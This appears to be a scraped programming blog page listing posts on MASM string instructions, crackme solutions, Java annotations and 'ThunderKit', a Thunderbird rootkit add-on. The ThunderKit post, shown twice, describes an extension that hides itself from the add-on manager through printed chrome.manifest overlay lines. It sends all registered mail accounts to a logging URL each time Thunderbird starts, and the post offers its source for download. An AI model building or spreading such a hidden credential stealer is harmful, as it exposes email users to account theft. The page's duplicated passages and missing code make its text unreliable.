Download (with Source)
Saturday, January 21, 2012
MASM String Instructions
The x86-64 processor has a number of instructions that provide the programmer with the ability to manipulate strings at a byte, word, double and quadruple word length. These instructions are, stosx, movsx, cmpsx. lodsx and scasx, and can be combined with conditional repeat mnemonics, these are rep, repe, repne, repz, and repnz, and they are convenient because they let you avoid writing lots of little loops, which can make the code really bad for the readers . The “x” represent the size of the basic unit, these units are b, byte, w word, d doubleword, and q quadword respectively.
The main goal of this paper is to provide some knowledge about string manipulation, without using the common instruction set.
Tuesday, January 10, 2012
Wednesday, January 4, 2012
Friday, December 30, 2011
Crackmes Solutions #1
Well, Crackmes.de is down, so I started to solve its crackmes, these are my first seven.
Solution Crackme6 by AttilhaZ
Solution Crackme7 by AttilhaZ
Solution Crackme8 by AttilhaZ
Solution Crackme9 by AttilhaZ
Solution Crackme14 by AttilhaZ
Solution Crackme15 by AttilhaZ
Solution Crackme16 by AttilhaZ
Wednesday, October 26, 2011
ThunderKit – Thunderbird Rootkit
It's been a while since i post something in this blog, from now on i'll try to be more regular.
Well, today i brought to you the thunderkit the very first thunderbird rootkit, this is really nothing new, except the extension hide method which is compatible the more recent thunderbird and firefox versions.
Thunderkit is a very simple rootkit that have the capacity to hide himself from the thunderbird and retrieve all registered accounts from the current profile every time the victim starts thunderbird and sends them to a target log script, based on a url.
The rootkit can hide himself by setting a overlay on “about:addons”, the addon manager of the thunderbird, which is the same in firefox, and has the support of the previous versions.
Thunderkit was tested with the latest version of Thunderbird (7.0), but i think that works in other previous versions too, at least all versions with the XHR support.
Download Addon (unpack to view the source (xpi = zip))
Enjoy!
Well, today i brought to you the thunderkit the very first thunderbird rootkit, this is really nothing new, except the extension hide method which is compatible the more recent thunderbird and firefox versions.
Thunderkit is a very simple rootkit that have the capacity to hide himself from the thunderbird and retrieve all registered accounts from the current profile every time the victim starts thunderbird and sends them to a target log script, based on a url.
The rootkit can hide himself by setting a overlay on “about:addons”, the addon manager of the thunderbird, which is the same in firefox, and has the support of the previous versions.
# Thunderbird 2
overlay chrome://mozapps/content/extensions/extensions.xul chrome://thunderkit/content/hidden.xul
overlay chrome://mozapps/content/extensions/extensions.xul?type=extensions chrome://thunderkit/content/hidden.xul
# Thunderbird 3
overlay about:addons chrome://thunderkit/content/hidden.xul
Thunderkit was tested with the latest version of Thunderbird (7.0), but i think that works in other previous versions too, at least all versions with the XHR support.
Download Addon (unpack to view the source (xpi = zip))
Enjoy!
Monday, November 1, 2010
Java Annotations pt 2
This is my second entry about this topic. This one is a simple example how to implement a singleton pattern without have to code it, just annotate the class.
Let's make our annotation.
Just for test, we will create a simple class.
And now the brains!
Our main class goes like this.
Let's test this!
Output:
Boom!
Let's make our annotation.
Just for test, we will create a simple class.
And now the brains!
Our main class goes like this.
Let's test this!
Output:
test
21171036
test
21171036
Boom!
Subscribe to:
Posts (Atom)